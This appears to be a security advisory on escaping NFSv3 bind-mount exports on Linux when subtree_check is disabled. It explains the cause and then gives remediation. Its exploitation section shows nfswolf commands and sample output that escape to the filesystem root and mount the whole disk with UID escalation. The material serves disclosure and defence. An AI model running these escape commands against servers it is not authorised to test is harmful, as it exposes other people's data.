Skip to content

F-2.6: Bind Mount Export Escape

Classification

  • Severity: High
  • CVSS Vector: Network / Low Complexity / No Auth Required
  • Affected Versions: NFSv3 on Linux
  • Configuration: Bind mount used as NFS export + no_subtree_check (default)
  • Prerequisite: Access to the exported bind mount

Summary

Linux bind mounts do NOT provide filesystem-level isolation. When a bind mount is exported via NFS without subtree_check, an attacker can escape the bind mount boundary and access files on both the underlying filesystem and the filesystem that contains the mount point. This contradicts documentation (including the Arch Wiki) that suggests bind mounts provide isolation.

Technical detail

Bind mount misconception

Administrators often use bind mounts to expose a subdirectory as an NFS export:

# Mount a subdirectory as its own mount point
mount --bind /data/project-a /srv/nfs/project-a

# Export the bind mount
echo "/srv/nfs/project-a *(rw,no_subtree_check)" >> /etc/exports
exportfs -ra

The administrator believes this limits access to /data/project-a. This is wrong.

Why isolation fails

A bind mount is just an alternative view of the same underlying filesystem. The NFS server operates on inodes and filesystem IDs, not mount namespaces. When subtree_check is disabled:

  1. The NFS server only verifies the filesystem ID matches
  2. The bind mount and the parent filesystem share the same filesystem ID
  3. File handles for ANY inode on that filesystem are accepted

Two filesystems accessible

With a bind mount export: - Filesystem A: The source filesystem (/data/ on /dev/sda2) - Filesystem B: The filesystem containing the mount point (/srv/ on /dev/sda1)

Both are potentially accessible because: - The export's file handle identifies Filesystem A - The mount point's directory entry exists on Filesystem B - By constructing file handles with different inode numbers that target the same fsid, an attacker can reach inodes on either filesystem

Verified behavior

From the HVS Consulting research:

"Be careful when using bind mounts as exports. They do not provide isolation, even if the Arch Wiki says differently. Trust us, we tested it. When used without subtree_check, both the mounted file system and the file system containing the mount point are accessible."

Exploitation

Using nfswolf

Automated escape detection -- nfswolf escape runs a seven-phase pipeline that discovers exports, constructs root-inode file handles, and probes the server automatically. No manual handle crafting required:

nfswolf escape target:/srv/nfs/project-a
# [+] Phase 1: gathering seeds from MOUNT v3, MOUNT v1, NFSv4 ...
# [+] Phase 3: probing 12 candidates ...
# [+] ESCAPE: tree-top confirmed on /dev/sda2 (ext4, inode 2)
#     handle: 0100020000020000...
#     / -> bin/  data/  etc/  home/  srv/  usr/  var/  ...

Interactive exploration -- nfswolf shell with the escape-root command performs the same escape inline:

nfswolf shell target:/srv/nfs/project-a
nfs> escape-root
# [+] Escaped to filesystem root (ext4, inode 2)
nfs> ls
# project-a/  project-b/  project-c/  backups/  ...

Using nfswolf mount

Once an escape handle is obtained (from nfswolf escape or the escape-root shell command), mount the entire underlying filesystem via FUSE with auto-UID escalation:

# Mount using the escaped root handle
nfswolf mount target:/srv/nfs/project-a /mnt/escaped --handle 0100020000020000...

# Access all data on the filesystem, not just the bind mount source
ls /mnt/escaped/
# project-a/  project-b/  project-c/  backups/  ...

Impact

  • Breaks administrator's security assumptions: Bind mounts appear to provide isolation but don't
  • Full filesystem access: All data on the source filesystem is reachable
  • Potential dual-filesystem access: Both the source and mount-point filesystems may be exposed
  • Amplified data exposure: Intended to share one directory, actually shares entire disk

Remediation

  1. Use separate filesystems (LVM logical volumes, partitions, or loopback devices):

    lvcreate -L 5G -n nfs_project_a vg0
    mkfs.ext4 /dev/vg0/nfs_project_a
    mount /dev/vg0/nfs_project_a /srv/nfs/project-a
    

  2. Enable subtree_check if bind mounts must be used:

    /srv/nfs/project-a  *(rw,subtree_check)
    
    Warning: May cause ESTALE errors with file renames.

  3. Use btrfs subvolumes with subtree_check — each subvolume acts as an isolated filesystem

  4. Do not trust bind mounts for security isolation — treat them as convenience only

  5. If using ZFS: ZFS datasets do provide per-dataset isolation (each dataset is a separate filesystem)